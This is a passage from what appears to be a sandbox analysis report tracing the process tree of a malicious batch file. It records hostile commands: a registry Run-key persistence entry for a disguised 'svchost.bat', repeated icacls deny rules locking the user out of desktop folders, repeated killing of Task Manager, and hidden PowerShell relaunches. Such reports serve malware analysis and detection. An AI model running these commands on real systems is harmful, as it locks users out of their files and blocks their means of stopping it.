      - C:\Windows\system32\mode.com
        
        mode con: cols=1 lines=1
        6⤵
        
        PID:1792
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
        6⤵
        
        PID:2920
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
        6⤵
        
        PID:5036
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:3544
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
        6⤵
        
        PID:484
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:4792
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
        6⤵
        
        PID:3336
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:1092
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
        6⤵
        
        PID:3060
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:652
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
        6⤵
        
        PID:2832
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:2080
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
        6⤵
        
        PID:3432
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:4944
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
        6⤵
        
        PID:2192
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:3916
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder8" /setowner "Admin" /t
        6⤵
        
        PID:1072
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder8" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:1092
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder9" /setowner "Admin" /t
        6⤵
        
        PID:5036
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder9" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:4540
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder10" /setowner "Admin" /t
        6⤵
        
        PID:3316
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder10" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:2708
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder11" /setowner "Admin" /t
        6⤵
        
        PID:1344
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder11" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:1616
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder12" /setowner "Admin" /t
        6⤵
        
        PID:3932
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder12" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:3544
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder13" /setowner "Admin" /t
        6⤵
        
        PID:2832
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder13" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5288
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder14" /setowner "Admin" /t
        6⤵
        
        PID:5672
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder14" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5824
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder15" /setowner "Admin" /t
        6⤵
        
        PID:5916
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder15" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5996
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder16" /setowner "Admin" /t
        6⤵
        
        PID:3128
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder16" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5400
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder17" /setowner "Admin" /t
        6⤵
        
        PID:5868
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder17" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5980
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder18" /setowner "Admin" /t
        6⤵
        
        PID:5768
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder18" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5204
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder19" /setowner "Admin" /t
        6⤵
        
        PID:5356
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder19" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5892
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder20" /setowner "Admin" /t
        6⤵
        
        PID:5648
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder20" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:4736
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder21" /setowner "Admin" /t
        6⤵
        
        PID:3520
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder21" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5624
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder22" /setowner "Admin" /t
        6⤵
        
        PID:2600
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder22" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5488
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder23" /setowner "Admin" /t
        6⤵
        
        PID:5648
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder23" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:2380
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder24" /setowner "Admin" /t
        6⤵
        
        PID:5664
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder24" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5424
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder25" /setowner "Admin" /t
        6⤵
        
        PID:5624
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder25" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:1920
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder26" /setowner "Admin" /t
        6⤵
        
        PID:5484
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder26" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5196
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder27" /setowner "Admin" /t
        6⤵
        
        PID:6352
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder27" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:6600
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder28" /setowner "Admin" /t
        6⤵
        
        PID:6996
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder28" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:6280
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:2384
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      Kills process with taskkill
      PID:3316
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4500
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
      4⤵
      PID:4788
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
        5⤵
        
        PID:4740
      - C:\Windows\system32\mode.com
        
        mode con: cols=1 lines=1
        6⤵
        
        PID:5036
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
        6⤵
        
        PID:5956
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
        6⤵
        
        PID:5184
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5364
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
        6⤵
        
        PID:5892
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5996
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
        6⤵
        
        PID:2192
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5148
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
        6⤵
        
        PID:5464
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5568
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
        6⤵
        
        PID:6028
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5328
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
        6⤵
        
        PID:6096
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5652
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
        6⤵
        
        PID:6112
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5808
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder8" /setowner "Admin" /t
        6⤵
        
        PID:5660
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder8" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5036
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder9" /setowner "Admin" /t
        6⤵
        
        PID:5708
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder9" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5300
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder10" /setowner "Admin" /t
        6⤵
        
        PID:5540
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder10" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5816
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder11" /setowner "Admin" /t
        6⤵
        
        PID:5464
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder11" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:2856
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder12" /setowner "Admin" /t
        6⤵
        
        PID:6292
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder12" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:6532
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder13" /setowner "Admin" /t
        6⤵
        
        PID:6840
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder13" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5356
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:4116
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      Kills process with taskkill
      PID:4828
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4216
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4904
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
        5⤵
        
        PID:5320
      - C:\Windows\system32\mode.com
        
        mode con: cols=1 lines=1
        6⤵
        
        PID:5720
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
        6⤵
        
        PID:5644
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
        6⤵
        
        PID:5984
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:4944
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
        6⤵
        
        PID:5420
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5860
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
        6⤵
        
        PID:3016
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5628
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
        6⤵
        
        PID:5848
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5600
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
        6⤵
        
        PID:5736
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5784
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
        6⤵
        
        PID:5904
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5736
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
        6⤵
        
        PID:6028
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5272
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder8" /setowner "Admin" /t
        6⤵
        
        PID:5236
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder8" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:6044
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder9" /setowner "Admin" /t
        6⤵
        
        PID:4564
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder9" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:6336
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder10" /setowner "Admin" /t
        6⤵
        
        PID:6648
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder10" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:6980
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder11" /setowner "Admin" /t
        6⤵
        
        PID:6312
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:4288
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      PID:2616
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5696
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5636
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
        5⤵
        
        PID:5184
      - C:\Windows\system32\mode.com
        
        mode con: cols=1 lines=1
        6⤵
        
        PID:5988
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
        6⤵
        
        PID:5848
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
        6⤵
        
        PID:6524
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:6804
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
        6⤵
        
        PID:5460
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:5828
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      PID:5848
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:6048
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
      4⤵
      PID:5964
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
        5⤵
        
        PID:7076
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:5364
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      Kills process with taskkill
      PID:4340
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5344
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:3148
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  - Kills process with taskkill
  PID:3140
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3064
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
    3⤵
    PID:2340
  - - C:\Windows\system32\mode.com
      mode con: cols=1 lines=1
      4⤵
      PID:4792
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
      4⤵
      PID:4460
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
      4⤵
      PID:3932
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4120
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
      4⤵
      PID:5036
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2112
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
      4⤵
      PID:2372
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4624
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
      4⤵
      PID:4596
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4068
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
      4⤵
      PID:2708
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4668
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
      4⤵
      PID:1428
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4844
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
      4⤵
      PID:4496
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4980
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /setowner "Admin" /t
      4⤵
      PID:4468
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2256
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /setowner "Admin" /t
      4⤵
      PID:3784
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3996
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /setowner "Admin" /t
      4⤵
      PID:2416
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2576
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /setowner "Admin" /t
      4⤵
      PID:3016
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4216
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /setowner "Admin" /t
      4⤵
      PID:2384
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3336
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /setowner "Admin" /t
      4⤵
      PID:3236
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4024
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /setowner "Admin" /t
      4⤵
      PID:692
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1072
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /setowner "Admin" /t
      4⤵
      PID:4844
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:776
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /setowner "Admin" /t
      4⤵
      PID:2220
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2012
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /setowner "Admin" /t
      4⤵
      PID:1496
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4116
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder18" /setowner "Admin" /t
      4⤵
      PID:2544
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder18" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1600
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder19" /setowner "Admin" /t
      4⤵
      PID:2616
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder19" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:584
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder20" /setowner "Admin" /t
      4⤵
      PID:1956
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder20" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4216
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder21" /setowner "Admin" /t
      4⤵
      PID:2384
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder21" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2176
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder22" /setowner "Admin" /t
      4⤵
      PID:3236
